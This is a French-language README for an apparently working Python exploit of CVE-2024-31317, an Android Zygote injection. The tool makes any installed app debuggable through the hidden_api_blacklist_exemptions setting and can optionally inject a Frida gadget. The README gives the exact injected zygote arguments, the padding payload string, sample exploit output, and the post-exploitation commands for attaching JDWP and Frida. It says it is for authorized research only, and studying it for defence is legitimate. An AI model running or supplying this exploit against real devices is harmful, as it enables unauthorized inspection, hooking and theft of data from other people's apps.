
CVE-2024-31317 Exploit d'application débogable
Un exploit basé sur Python pour CVE-2024-31317 (injection Zygote Android) qui rend toute application Android installée débogable en injectant des arguments zygote malveillants via le paramètre hidden_api_blacklist_exemptions. Inclut une injection optionnelle du gadget Frida pour le hooking runtime.
Cet exploit exploite une vulnérabilité d'injection de commande dans le processus Zygote d'Android pour lancer les applications cibles avec le flag debuggable activé. Cela permet le débogage JDWP et l'inspection de toute application sans nécessiter d'accès root ni la version debug de l'application.
Basé sur les recherches de : Analyse de CVE-2024-31317 par Flanker
Information clé : "le champ runtime-flags dans ZygoteArguments peut en réalité être utilisé pour activer l'attribut débogable d'une application."
runtime-flags=65535 pour activer le débogageppadb, jdwplibPlacez les fichiers suivants dans le même répertoire :
├── CVE-2024-31317-Debuggable.py # Script d'exploit principal
├── jdwplib.py # Bibliothèque cliente JDWP
├── app-debug.apk # Application auxiliaire débogable
├── frida-gadget-android-*.so # Gadget Frida (optionnel)
├── frida-gadget.config.so # Configuration Frida (optionnel)
└── win32/adb.exe # Binaire ADB Windows
python CVE-2024-31317-Debuggable.py
Le script vous demandera de choisir un mode de détection des paramètres :
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Détection automatique des paramètres
[2] Valeurs codées en dur
Mode (1/2) [1] :
Phase 1 : Extraction de startSeq
startSeq des trames de pilePhase 2 : Injection des arguments Zygote
runtime-flags=65535 (débogable)hidden_api_blacklist_exemptionsPhase 3 : Post-exploitation
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Détection automatique des paramètres
[2] Valeurs codées en dur
Mode (1/2) [1] : 1
[INFO] Phase 1 : Extraction de startSeq
[INFO] com.debug.app déjà installée
[INFO] Activation du débogage
[INFO] Démarrage de com.debug.app/.MainActivity
[INFO] PID : 12345
[INFO] Port JDWP : 8700
[INFO] Suspension de la VM
[INFO] Analyse de 42 trames
[INFO] startSeq : 123456
[INFO] Phase 2 : Exploitation de com.debug.configurator
[INFO] Détection des paramètres pour com.debug.configurator
[INFO] UID : 10242
[INFO] Architecture : arm64
[INFO] Données : /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Charge utile : 8765 octets
[INFO] Redémarrage de la cible
[INFO] Terminé
[INFO] PID cible : 23456
[INFO] JDWP : 8701
Injecter Frida ? (o/N) :
Modifiez les constantes en haut du script :
TARGET_APP = "com.debug.configurator" # Remplacez par votre paquet cible
DEBUG_APP = "com.debug.app" # Application auxiliaire débogable
DEBUG_APK = "app-debug.apk" # Fichier APK de l'application auxiliaire
Mode de détection automatique (recommandé) :
pm list packages -U pour obtenir l'UIDdumpsys package pour obtenir le jeu d'instructions et le répertoire de donnéesMode codé en dur :
Après la réussite de l'exploit, vous pouvez optionnellement injecter le gadget Frida :
Injecter Frida ? (o/N) : o
Le script va :
frida-gadget.so vers /data/local/tmp/run-asLe script essaie ces points d'arrêt par ordre de fiabilité :
Les points d'arrêt du haut devraient se déclencher automatiquement. En cas de timeout, appuyez sur l'application pour déclencher les points d'arrêt de secours.
Après une injection réussie :
# Connexion au gadget
frida -H 127.0.0.1:27042 -n Gadget
# Liste des processus
frida-ps -H 127.0.0.1:27042
Une fois l'exploit réussi, l'application cible s'exécute avec le débogage activé :
Connectez-vous avec un débogueur JDWP :
jdb -attach localhost:8701
Utilisez le débogueur Android Studio - Attachez-vous au processus sur le port redirigé
Utilisez Frida - Si le gadget a été injecté via le script
CVE-2024-31317 est une vulnérabilité d'injection de commande dans le processus Zygote d'Android. En manipulant le paramètre système hidden_api_blacklist_exemptions avec une entrée spécialement conçue, nous pouvons injecter des arguments zygote arbitraires au démarrage d'une application.
Extraction de startSeq : Chaque lancement d'application possède un numéro de séquence unique. Nous l'extrayons d'une application débogable via JDWP en inspectant les variables des trames de pile.
Construction de la charge utile : Nous construisons des arguments zygote incluant :
--runtime-args
--setuid=<uid_cible>
--setgid=<gid_cible>
--runtime-flags=65535 # Active tous les flags de débogage
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<paquet>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<repertoire_donnees>
--package-name=<paquet>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Injection : La charge utile est injectée dans le paramètre système avec un remplissage spécifique pour Android 12+ :
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Déclenchement : Forcer l'arrêt et le redémarrage de l'application cible, qui se lance avec nos arguments injectés et le flag débogable activé.
L'injection Frida fonctionne en :
Runtime.load() pour charger la bibliothèque partagée du gadget Frida"Échec de l'obtention de startSeq"
"Aucun point d'arrêt atteint" lors de l'injection Frida
Connexion Frida refusée
adb forward --listadb forward tcp:27042 tcp:27042Cet outil est destiné uniquement à des fins éducatives et de recherche en sécurité autorisées. Utilisez-le uniquement sur des appareils vous appartenant ou pour lesquels vous avez une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive de cet outil.
Licence MIT - Voir le fichier LICENSE pour plus de détails.
| Classe | Méthode | Déclencheur |
|---|
android.os.MessageQueue | next | Auto - le looper principal interroge constamment |
android.os.Binder | execTransact | Auto - tout appel IPC/Binder |
android.app.ActivityThread | handleMessage | Auto - gestionnaire principal de l'application |
android.os.Handler | dispatchMessage | Auto - distribution de messages |
android.os.Handler | handleMessage | Auto - gestion des messages |
android.view.Choreographer | doFrame | Auto - rappels de trames |
android.view.View | dispatchTouchEvent | Manuel - nécessite un toucher |
android.view.View | onDraw | Manuel - nécessite un redessin de l'interface |